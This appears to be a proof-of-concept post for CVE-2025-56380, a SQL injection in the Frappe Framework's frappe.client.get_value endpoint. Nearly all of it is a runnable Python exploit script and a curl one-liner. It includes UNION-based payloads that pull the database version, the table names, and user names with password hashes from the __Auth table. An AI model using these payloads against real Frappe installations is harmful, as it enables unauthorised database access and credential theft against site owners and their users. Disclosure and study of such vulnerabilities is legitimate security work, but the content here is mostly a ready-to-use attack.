CVE-2025-56380：Frappe Framework SQL注入漏洞

# CVE-2025-56380 - Frappe Framework SQL Injection PoC # Vulnerable endpoint: frappe.client.get_value # Vulnerable parameter: fieldname import requests # Target configuration TARGET_URL = "http://target-frappe-site.com" API_ENDPOINT = "/api/method/frappe.client.get_value" def exploit_sql_injection(target_url, injection_payload): """ Exploit SQL injection in fieldname parameter of frappe.client.get_value """ # SQL injection payload targeting the fieldname parameter # Example: Extract database version or sensitive data params = { "doctype": "User", "fieldname": injection_payload, "filters": "[[\"name\", \"=\", \"Administrator\"]]" } try: response = requests.get( f"{target_url}{API_ENDPOINT}", params=params, timeout=10 ) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") return response.text except requests.exceptions.RequestException as e: print(f"Error: {e}") return None # Example injection payloads # Payload 1: Extract database version payload_version = "name UNION SELECT version()-- " # Payload 2: Extract table names payload_tables = "name UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()-- " # Payload 3: Extract user credentials payload_users = "name UNION SELECT GROUP_CONCAT(name,':',password) FROM __Auth-- " if __name__ == "__main__": # Test the SQL injection result = exploit_sql_injection(TARGET_URL, payload_version) print(f"\nExploitation result:\n{result}") # Alternative: Direct HTTP request example # curl "http://target.com/api/method/frappe.client.get_value?doctype=User&fieldname=name UNION SELECT version()-- &filters=%5B%5B%22name%22%2C%20%22%3D%22%2C%20%22Administrator%22%5D%5D"